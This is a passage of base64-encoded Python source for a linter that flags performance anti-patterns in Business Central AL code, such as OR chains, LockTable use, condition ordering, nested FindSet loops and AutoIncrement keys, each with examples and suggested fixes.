mljOyBjb3ZlcmVkIGJ5IEZJWCBjb21tZW50IGRldGVjdGlvbgoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMzMg4oCUIE9SIGNoYWluIGluc3RlYWQgb2YgY2FzZSB0cnVlIG9mICgzKyBjb25kaXRpb25zKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9Ik9SX0NIQUlOX1VTRV9DQVNFX1RSVUUiLAogICAgZ3JvdXA9IlNob3J0LUNpcmN1aXQgRXZhbHVhdGlvbiIsCiAgICBzZXZlcml0eT0iTUVESVVNIiwKICAgIHRpdGxlPSIzKyBPUiBjb25kaXRpb25zIOKAlCB1c2UgJ2Nhc2UgdHJ1ZSBvZicgZm9yIHNob3J0LWNpcmN1aXQgZXZhbHVhdGlvbiIsCiAgICBkZXNjcmlwdGlvbj0oJ0FMIGV2YWx1YXRlcyBBTEwgb3BlcmFuZHMgb2Ygb3IgYmVmb3JlIHJldHVybmluZyDigJQgZXZlbiBpZiB0aGUgZmlyc3Qgb3BlcmFuZCBpcyBhbHJlYWR5IHRydWUuIFRocmVlIGV4cGVuc2l2ZSBlbGlnaWJpbGl0eSBjaGVja3Mgam9pbmVkIHdpdGggb3IgZWFjaCBleGVjdXRlIGEgQ2FsY1N1bXMgb3IgRmluZFNldCBxdWVyeSDigJQgYWxsIHRocmVlLCBldmVyeSB0aW1lLlxuXG5TUUwgSU1QQUNUOiAzIFNRTCBxdWVyaWVzIHBlciBjdXN0b21lcjogQ2FsY1N1bXMgKyBJc0VtcHR5ICsgQ291bnQuXG5FdmVuIHdoZW4gdGhlIGZpcnN0IGNoZWNrIGFscmVhZHkgcmV0dXJucyB0cnVlIOKAlCB3YXN0ZWQgMiBxdWVyaWVzLlxuY2FzZSB0cnVlIG9mIHdpdGggY29tbWEtc2VwYXJhdGVkIGNvbmRpdGlvbnMgc2hvcnQtY2lyY3VpdHMgYXQgZmlyc3QgdHJ1ZS5cblxuQkFEOiAgaWYgSXNPdmVyQ3JlZGl0TGltaXQoTm8pIG9yIEhhc0Jsb2NrZWRJdGVtcyhObykgb3IgSGFzT3ZlcmR1ZUludm9pY2VzKE5vKSB0aGVuIC4uLlxuR09PRDogY2FzZSB0cnVlIG9mXG4gICAgICAgICAgSXNPdmVyQ3JlZGl0TGltaXQoTm8pLCBIYXNCbG9ja2VkSXRlbXMoTm8pLCBIYXNPdmVyZHVlSW52b2ljZXMoTm8pOlxuICAgICAgICAgICAgICBleGl0KGZhbHNlKTtcbiAgICAgIGVuZDtcblxuSElOVDogQWRkIGEgY291bnRlciBpbnNpZGUgZWFjaCB2YWxpZGF0aW9uIGZ1bmN0aW9uLiBXaXRoIG9yOiBhbGwgdGhyZWUgY291bnRlcnMgaW5jcmVtZW50IGZvciBldmVyeSBjdXN0b21lci4gV2l0aCBjYXNlIHRydWUgb2Y6IG9ubHkgMeKAkzIgY291bnRlcnMgaW5jcmVtZW50IHdoZW4gZmlyc3QgaXMgdHJ1ZS4nKSwKICAgIGV4ZXJjaXNlcz1bMzldLAopCmNsYXNzIFBhdHRlcm5PckNoYWluQ2FzZVRydWU6CiAgICBfUkUgPSByZS5jb21waWxlKHInXGJpZlxiW147XStcYm9yXGJbXjtdK1xib3JcYlteO10rXGJ0aGVuXGInLCByZS5NVUxUSUxJTkUgfCByZS5JR05PUkVDQVNFKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBmb3IgbSBpbiBQYXR0ZXJuT3JDaGFpbkNhc2VUcnVlLl9SRS5maW5kaXRlcih0ZXh0KToKICAgICAgICAgICAgbGluZSA9IF9maW5kX2xpbmUodGV4dCwgbS5zdGFydCgpKQogICAgICAgICAgICBsaW5lX3RleHQgPSB0ZXh0LnNwbGl0bGluZXMoKVtsaW5lLTFdLnN0cmlwKCkKICAgICAgICAgICAgaWYgbGluZV90ZXh0LnN0YXJ0c3dpdGgoJy8vJyk6CiAgICAgICAgICAgICAgICBjb250aW51ZQogICAgICAgICAgICAjIENvdW50IGZ1bmN0aW9uIGNhbGxzIGluIHRoZSBPUiBjaGFpbgogICAgICAgICAgICBpZiBsZW4ocmUuZmluZGFsbChyJ1x3K1woJywgbS5ncm91cCgwKSkpID49IDM6CiAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICJsaW5lIjogbGluZSwKICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IG0uZ3JvdXAoMClbOjEyMF0sCiAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiAiMysgT1IgY29uZGl0aW9ucyB3aXRoIGZ1bmN0aW9uIGNhbGxzIOKAlCB1c2UgJ2Nhc2UgdHJ1ZSBvZicgZm9yIHNob3J0LWNpcmN1aXQiCiAgICAgICAgICAgICAgICB9KQogICAgICAgIHJldHVybiBmaW5kaW5ncwoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMzQg4oCUIExvY2tUYWJsZSArIFJlYWRJc29sYXRpb24gVXBkTG9jayAoRXg0MikKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJMT0NLVEFCTEVfVVNFX1VQRExPQ0siLAogICAgZ3JvdXA9IkxvY2tpbmciLAogICAgc2V2ZXJpdHk9Ik1FRElVTSIsCiAgICB0aXRsZT0iTG9ja1RhYmxlKCkg4oCUIGNvbnNpZGVyIFJlYWRJc29sYXRpb24gOj0gVXBkTG9jayArIEZpbmRTZXQodHJ1ZSkgaW5zdGVhZCIsCiAgICBkZXNjcmlwdGlvbj0oJ0xvY2tUYWJsZSgpIGFjcXVpcmVzIGEgdGFibGUtbGV2ZWwgRXhjbHVzaXZlIChYKSBsb2NrIG9uIHRoZSBFTlRJUkUgdGFibGUuIEV2ZXJ5IGNvbmN1cnJlbnQgc2Vzc2lvbiDigJQgcmVhZHMsIGFuYWx5dGljcywgb3JkZXIgZW50cnkg4oCUIGJsb2NrcyBmb3IgdGhlIGZ1bGwgdHJhbnNhY3Rpb24gZHVyYXRpb24uIEEgYmF0Y2ggdXBkYXRpbmcgMSAwMDAgcm93cyBjYW4gYmxvY2sgYWxsIG90aGVyIHNlc3Npb25zIGZvciBzZWNvbmRzLlxuXG5TUUwgSU1QQUNUOiBMb2NrVGFibGU6IFgtbG9jayBvbiBlbnRpcmUgdGFibGUg4oCUIGhlbGQgZm9yIGZ1bGwgdHJhbnNhY3Rpb24uXG5SZWFkSXNvbGF0aW9uIDo9IFVwZExvY2sgKyBGaW5kU2V0KHRydWUpOiBhY3F1aXJlcyB1cGRhdGUgbG9ja3Mgb25seSBvbiByb3dzIGFjdHVhbGx5IHJlYWQsIGFsbG93aW5nIGNvbmN1cnJlbnQgcmVhZGVycy5cblxuQkFEOiAgUmVjb3JkLkxvY2tUYWJsZSgpO1xuICAgICAgaWYgUmVjb3JkLkZpbmRTZXQoKSB0aGVuXG5HT09EOiBSZWNvcmQuUmVhZElzb2xhdGlvbiA6PSBJc29sYXRpb25MZXZlbDo6VXBkTG9jaztcbiAgICAgIGlmIFJlY29yZC5GaW5kU2V0KHRydWUpIHRoZW5cblxuSElOVDogT3BlbiB0d28gQkMgc2Vzc2lvbnMgc2ltdWx0YW5lb3VzbHkuIFNlc3Npb24gMTogcnVuIExvY2tUYWJsZS4gU2Vzc2lvbiAyOiB0cnkgYW55IHJlYWQg4oCUIGl0IGJsb2NrcyB1bnRpbCBTZXNzaW9uIDEgY29tbWl0cy4gV2l0aCBVcGRMb2NrOiBTZXNzaW9uIDIgcmVhZHMgZnJlZWx5LicpLAogICAgZXhlcmNpc2VzPVs0Ml0sCikKY2xhc3MgUGF0dGVybkxvY2tUYWJsZVVzZVVwZExvY2s6CiAgICBfUkUgPSByZS5jb21waWxlKHInKFx3KylcLkxvY2tUYWJsZVwoXCknLCByZS5NVUxUSUxJTkUpCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgcmV0dXJuIF9maW5kaW5ncyh0ZXh0LCBQYXR0ZXJuTG9ja1RhYmxlVXNlVXBkTG9jay5fUkUsCiAgICAgICAgICAgICAgICAgICAgICAgICBsYW1iZGEgbTogZiJDb25zaWRlciByZXBsYWNpbmcgJ3ttLmdyb3VwKDEpfS5Mb2NrVGFibGUoKScgd2l0aCBSZWFkSXNvbGF0aW9uIDo9IFVwZExvY2sgKyBGaW5kU2V0KHRydWUpIikKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIGRlZiByZXBsYWNlKG0pOgogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgIHBvcyA9IG0uZW5kKCkKICAgICAgICAgICAgYWhlYWQgPSB0ZXh0W3Bvczpwb3MrMjAwXQogICAgICAgICAgICBpZiByZS5zZWFyY2gocmYnXGJ7cmUuZXNjYXBlKHZhcil9XC5GaW5kU2V0XChcKScsIGFoZWFkKToKICAgICAgICAgICAgICAgIHJlcGxhY2VtZW50ID0gZid7dmFyfS5SZWFkSXNvbGF0aW9uIDo9IElzb2xhdGlvbkxldmVsOjpVcGRMb2NrJwogICAgICAgICAgICAgICAgIyBBbHNvIGZpeCB0aGUgRmluZFNldCBpbiBvbmUgcGFzcwogICAgICAgICAgICAgICAgcmV0dXJuIHJlcGxhY2VtZW50CiAgICAgICAgICAgIHJldHVybiBtLmdyb3VwKDApCiAgICAgICAgcmVzdWx0ID0gUGF0dGVybkxvY2tUYWJsZVVzZVVwZExvY2suX1JFLnN1YihyZXBsYWNlLCB0ZXh0KQogICAgICAgIHJlc3VsdCA9IHJlLnN1YihyJyhcdyspXC5SZWFkSXNvbGF0aW9uIDo9IElzb2xhdGlvbkxldmVsOjpVcGRMb2NrO1xzKlxuKFxzKylpZiBcMVwuRmluZFNldFwoXCknLAogICAgICAgICAgICAgICAgICAgICAgICByJ1wxLlJlYWRJc29sYXRpb24gOj0gSXNvbGF0aW9uTGV2ZWw6OlVwZExvY2s7XG5cMmlmIFwxLkZpbmRTZXQodHJ1ZSknLCByZXN1bHQpCiAgICAgICAgcmV0dXJuIHJlc3VsdAoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAzNSDigJQgdHJ1ZSBpbiBbLi4uXSBjb25kaXRpb24gb3JkZXIgKGNoZWFwZXN0IGZpcnN0KQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkNPTkRJVElPTl9PUkRFUl9UUlVFX0lOIiwKICAgIGdyb3VwPSJTaG9ydC1DaXJjdWl0IEV2YWx1YXRpb24iLAogICAgc2V2ZXJpdHk9IkxPVyIsCiAgICB0aXRsZT0iJ2lmIHRydWUgaW4gWy4uLl0nIOKAlCBwdXQgY2hlYXBlc3QgY29uZGl0aW9uIGZpcnN0IGZvciBiZXN0IHNob3J0LWNpcmN1aXQiLAogICAgZGVzY3JpcHRpb249KCJBTCdzIGluIFsuLi5dIG9wZXJhdG9yIERPRVMgc2hvcnQtY2lyY3VpdCDigJQgdW5saWtlIG9yL1x4MDduZC4gQnV0IHBsYWNpbmcgdGhlIG1vc3QgZXhwZW5zaXZlIGNoZWNrIEZJUlNUIGRlZmVhdHMgdGhlIGJlbmVmaXQ6IHRoZSBDYWxjU3VtcyBmaXJlcyBiZWZvcmUgdGhlIGNoZWFwIGJsYWNrbGlzdCBHZXQoKSBpcyBldmVuIHRlc3RlZC4gUnVsZTogYWx3YXlzIG9yZGVyIGNvbmRpdGlvbnMgY2hlYXBlc3QtZmlyc3QgaW4gaW4gWy4uLl0gbGlzdHMuXG5cblNRTCBJTVBBQ1Q6IEV4cGVuc2l2ZS1maXJzdDogQ2FsY1N1bXMgcnVucyBmb3IgfjEwMCUgb2YgY3VzdG9tZXJzLlxuQ2hlYXAtZmlyc3Q6IENhbGNTdW1zIHNraXBwZWQgZm9yIHRoZSB+MzUlIGNhdWdodCBieSBjaGVhcGVyIGNoZWNrcyBmaXJzdC5cblxuQkFEOiAgaWYgdHJ1ZSBpbiBbSGFzRXhjZWVkZWRBbm51YWxCdWRnZXQoTm8pLCBJc0JsYWNrbGlzdGVkKE5vKV0gdGhlbiAuLi5cbkdPT0Q6IGlmIHRydWUgaW4gW0lzQmxhY2tsaXN0ZWQoTm8pLCBIYXNFeGNlZWRlZEFubnVhbEJ1ZGdldChObyldIHRoZW4gLi4uXG5cbkhJTlQ6IEFkZCBhIE1lc3NhZ2UoKSBjb3VudGVyIGluc2lkZSBIYXNFeGNlZWRlZEFubnVhbEJ1ZGdldC4gUnVuIHdpdGggZXhwZW5zaXZlLWZpcnN0OiBjb3VudGVyID0gdG90YWwgY3VzdG9tZXIgY291bnQuIFJlb3JkZXIgdG8gY2hlYXAtZmlyc3Q6IGNvdW50ZXIgZHJvcHMgYnkgfjM1JS4iKSwKICAgIGV4ZXJjaXNlcz1bNDRdLAopCmNsYXNzIFBhdHRlcm5Db25kaXRpb25PcmRlclRydWVJbjoKICAgIF9SRSA9IHJlLmNvbXBpbGUocidpZiB0cnVlIGluIFxbJywgcmUuTVVMVElMSU5FIHwgcmUuSUdOT1JFQ0FTRSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICByZXR1cm4gX2ZpbmRpbmdzKHRleHQsIFBhdHRlcm5Db25kaXRpb25PcmRlclRydWVJbi5fUkUsCiAgICAgICAgICAgICAgICAgICAgICAgICBsYW1iZGEgbTogIlJldmlldyBjb25kaXRpb24gb3JkZXI6IHB1dCBjaGVhcGVzdCBjaGVjayBmaXJzdCBmb3IgYmVzdCBzaG9ydC1jaXJjdWl0IHBlcmZvcm1hbmNlIikKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDM2IOKAlCBOKzEgbmVzdGVkIEZpbmRTZXQgaW5zaWRlIHJlcGVhdC4udW50aWwgbG9vcCAoRXggMjcgLyA0MykKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJORVNURURfRklORFNFVF9OX1BMVVNfT05FIiwKICAgIGdyb3VwPSJEYXRhIFRyYW5zZmVyIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJOZXN0ZWQgRmluZFNldC9GaW5kRmlyc3QgaW5zaWRlIHJlcGVhdC4udW50aWwgbG9vcCAoTisxIHF1ZXJpZXMpIiwKICAgIGRlc2NyaXB0aW9uPSgKICAgICAgICAiRm9yIGVhY2ggcm93IGluIHRoZSBvdXRlciBGaW5kU2V0LCBhbiBpbm5lciBGaW5kU2V0IG9uIGEgZGlmZmVyZW50IHZhcmlhYmxlIGZpcmVzIGEgbmV3IFNRTCBxdWVyeS4gIgogICAgICAgICJXaXRoIDEgMDAwIG91dGVyIGl0ZW1zOiAxIG91dGVyIFNFTEVDVCArIDEgMDAwIGlubmVyIFNFTEVDVHMgPSAxIDAwMSBTUUwgcm91bmQtdHJpcHMuICIKICAgICAgICAiQSBRdWVyeSBvYmplY3Qgd2l0aCBHUk9VUCBCWSBkb2VzIHRoZSBzYW1lIHdvcmsgaW4gYSBzaW5nbGUgU1FMIHF1ZXJ5LlxuXG4iCiAgICAgICAgIlNRTCBJTVBBQ1Q6IDEgMDAwIGl0ZW1zIMOXIDEgaW5uZXIgcXVlcnkgPSAxIDAwMSB0b3RhbCBTUUwgcm91bmQtdHJpcHMuXG4iCiAgICAgICAgIlF1ZXJ5IG9iamVjdDogMSBTUUwgcXVlcnkgd2l0aCBHUk9VUCBCWSDigJQgcmVzdWx0IHNldCA9IE4gZ3JvdXBzIG9ubHkuXG5cbiIKICAgICAgICAiQkFEOiAgaWYgSXRlbXMuRmluZFNldCgpIHRoZW4gcmVwZWF0XG4iCiAgICAgICAgIiAgICAgICAgICBTYWxlc0xpbmVzLlNldFJhbmdlKFwiTm8uXCIsIEl0ZW1zLlwiTm8uXCIpO1xuIgogICAgICAgICIgICAgICAgICAgaWYgU2FsZXNMaW5lcy5GaW5kU2V0KCkgdGhlbiByZXBlYXQgLi4uIHVudGlsIFNhbGVzTGluZXMuTmV4dCgpID0gMDtcbiIKICAgICAgICAiICAgICAgdW50aWwgSXRlbXMuTmV4dCgpID0gMDtcbiIKICAgICAgICAiR09PRDogdmFyIEFuYWx5c2lzUXVlcnk6IFF1ZXJ5IFwiV29ya3Nob3AgSXRlbSBBbmFseXNpc1wiO1xuIgogICAgICAgICIgICAgICBpZiBBbmFseXNpc1F1ZXJ5Lk9wZW4oKSB0aGVuXG4iCiAgICAgICAgIiAgICAgICAgICB3aGlsZSBBbmFseXNpc1F1ZXJ5LlJlYWQoKSBkbyAuLi5cblxuIgogICAgICAgICJISU5UOiBDb3VudCBTUUwgcXVlcmllcyBpbiBQcm9maWxlciBmb3IgdGhlIG5lc3RlZCBsb29wLiBFYWNoIG91dGVyIHJvdyBmaXJlcyAxIGlubmVyIFNRTCBxdWVyeS4gIgogICAgICAgICJRdWVyeSBvYmplY3QgdmVyc2lvbjogMSBTUUwgcXVlcnkgd2l0aCBHUk9VUCBCWSByZWdhcmRsZXNzIG9mIGRhdGEgdm9sdW1lLiIKICAgICksCiAgICBleGVyY2lzZXM9WzI3LCA0M10sCikKY2xhc3MgUGF0dGVybk5lc3RlZEZpbmRTZXROUGx1c09uZToKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBsaW5lcyA9IHRleHQuc3BsaXRsaW5lcygpCiAgICAgICAgb3V0ZXJfdmFyOiBzdHIgfCBOb25lID0gTm9uZQogICAgICAgIGluX2xvb3AgPSBGYWxzZQoKICAgICAgICBmb3IgaSwgbGluZSBpbiBlbnVtZXJhdGUobGluZXMpOgogICAgICAgICAgICBzdHJpcHBlZCA9IGxpbmUuc3RyaXAoKQogICAgICAgICAgICBpZiBzdHJpcHBlZC5zdGFydHN3aXRoKCcvLycpOgogICAgICAgICAgICAgICAgY29udGludWUKCiAgICAgICAgICAgICMgVHJhY2sgb3V0ZXIgRmluZFNldCBiZWZvcmUgYSByZXBlYXQKICAgICAgICAgICAgbV9vdXRlciA9IHJlLnNlYXJjaChyJyhcdyspXC4oRmluZFNldHxGaW5kRmlyc3QpXCgnLCBsaW5lKQogICAgICAgICAgICBpZiBtX291dGVyIGFuZCBub3QgaW5fbG9vcDoKICAgICAgICAgICAgICAgIG91dGVyX3ZhciA9IG1fb3V0ZXIuZ3JvdXAoMSkKCiAgICAgICAgICAgIGlmIHJlLm1hdGNoKHInXnJlcGVhdFxiJywgc3RyaXBwZWQsIHJlLklHTk9SRUNBU0UpIGFuZCBvdXRlcl92YXI6CiAgICAgICAgICAgICAgICBpbl9sb29wID0gVHJ1ZQoKICAgICAgICAgICAgaWYgaW5fbG9vcDoKICAgICAgICAgICAgICAgIG1faW5uZXIgPSByZS5zZWFyY2gocicoXHcrKVwuKEZpbmRTZXR8RmluZEZpcnN0KVwoJywgbGluZSkKICAgICAgICAgICAgICAgIGlmIG1faW5uZXIgYW5kIG1faW5uZXIuZ3JvdXAoMSkgIT0gb3V0ZXJfdmFyOgogICAgICAgICAgICAgICAgICAgIGZpbmRpbmdzLmFwcGVuZCh7CiAgICAgICAgICAgICAgICAgICAgICAgICJsaW5lIjogaSArIDEsCiAgICAgICAgICAgICAgICAgICAgICAgICJzbmlwcGV0IjogbGluZS5zdHJpcCgpWzoxMjBdLAogICAgICAgICAgICAgICAgICAgICAgICAibWVzc2FnZSI6ICgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYiTmVzdGVkIHttX2lubmVyLmdyb3VwKDIpfSgpIG9uICd7bV9pbm5lci5ncm91cCgxKX0nIGluc2lkZSBvdXRlciAiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmIid7b3V0ZXJfdmFyfScgRmluZFNldCBsb29wIOKAlCBOKzEgU1FMIHF1ZXJpZXMuICIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJDb25zaWRlciBhIFF1ZXJ5IG9iamVjdCB3aXRoIEdST1VQIEJZLiIKICAgICAgICAgICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgICAgICB9KQoKICAgICAgICAgICAgaWYgcmUubWF0Y2gocidedW50aWxccytcdytcLk5leHRcKFwpJywgc3RyaXBwZWQsIHJlLklHTk9SRUNBU0UpOgogICAgICAgICAgICAgICAgaW5fbG9vcCA9IEZhbHNlCiAgICAgICAgICAgICAgICBvdXRlcl92YXIgPSBOb25lCgogICAgICAgIHJldHVybiBmaW5kaW5ncwoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQgICMgU3RydWN0dXJhbCBjaGFuZ2UgcmVxdWlyZWQg4oCUIG5vIGF1dG8tZml4CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDM3IOKAlCBBdXRvSW5jcmVtZW50ID0gdHJ1ZSBkaXNhYmxlcyBTUUwgYmF0Y2ggSU5TRVJUIChFeCAzNikKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJBVVRPSU5DUkVNRU5UX0RJU0FCTEVTX0JVTEtfSU5TRVJUIiwKICAgIGdyb3VwPSJCdWxrIE9wZXJhdGlvbnMiLAogICAgc2V2ZXJpdHk9IkhJR0giLAogICAgdGl0bGU9IkF1dG9JbmNyZW1lbnQgPSB0cnVlIG9uIFBLIGRpc2FibGVzIFNRTCBiYXRjaCBJTlNFUlQiLAogICAgZGVzY3JpcHRpb249KAogICAgICAgICJTUUwgU2VydmVyIElERU5USVRZIChBdXRvSW5jcmVtZW50ID0gdHJ1ZSkgcmVxdWlyZXMgU0NPUEVfSURFTlRJVFkoKSB0byBiZSByZXR1cm5lZCAiCiAgICAgICAgImFmdGVyIGVhY2ggSU5TRVJUIOKAlCB0aGlzIHByZXZlbnRzIGJhdGNoIElOU0VSVCBlbnRpcmVseS4gIgogICAgICAgICJGb3IgMTAgMDAwIGNvdW50IHNoZWV0IGxpbmVzOiAxMCAwMDAgaW5kaXZpZHVhbCBTUUwgSU5TRVJUcywgb25lIHBlciByb3cuICIKICAgICAgICAiTWFudWFsIFBLIGFzc2lnbm1lbnQgdmlhIE51bWJlclNlcXVlbmNlIGFsbG93cyBTUUwgU2VydmVyIHRvIGJhdGNoIHJvd3MgaW50byBvbmUgdHJpcC5cblxuIgogICAgICAgICJTUUwgSU1QQUNUOiBBdXRvSW5jcmVtZW50OiAxMCAwMDAgw5cgSU5TRVJUICgrIFNDT1BFX0lERU5USVRZIHBlciByb3cpLlxuIgogICAgICAgICJNYW51YWwgUEsgd2l0aCBOdW1iZXJTZXF1ZW5jZTogfjEwIGJhdGNoIElOU0VSVCBzdGF0ZW1lbnRzIOKAlCBvcmRlcnMgb2YgbWFnbml0dWRlIGZhc3Rlci5cblxuIgogICAgICAgICJCQUQ6ICBmaWVsZCgxOyBJZDsgSW50ZWdlcikgeyBBdXRvSW5jcmVtZW50ID0gdHJ1ZTsgfVxuIgogICAgICAgICJHT09EOiBmaWVsZCgxOyBJZDsgSW50ZWdlcikgeyB9XG4iCiAgICAgICAgIiAgICAgIC8vIEluIGNvZGU6XG4iCiAgICAgICAgIiAgICAgIEVudHJ5LklkIDo9IE51bWJlclNlcXVlbmNlLk5leHQoJ1dTX0NPVU5UX1NFUScpO1xuIgogICAgICAgICIgICAgICBFbnRyeS5JbnNlcnQoZmFsc2UpOyAvLyBCYXRjaGFibGUg4oCUIG5vIGlkZW50aXR5IHJldHVybiBuZWVkZWRcblxuIgogICAgICAgICJISU5UOiBJbnNlcnQgMTAgMDAwIHJvd3MgaW50byBib3RoIHRhYmxlcyBpbiBTUUwgUHJvZmlsZXIuICIKICAgICAgICAiQXV0b0luY3JlbWVudCB0YWJsZTogMTAgMDAwIGluZGl2aWR1YWwgSU5TRVJUIHN0YXRlbWVudHMuICIKICAgICAgICAiTWFudWFsIGtleSB0YWJsZTogfjEwIGJhdGNoIElOU0VSVCBzdGF0ZW1lbnRzIHRvdGFsLiIKICAgICksCiAgICBleGVyY2lzZXM9WzM2XSwKKQpjbGFzcyBQYXR0ZXJuQXV0b0luY3JlbWVudEJ1bGt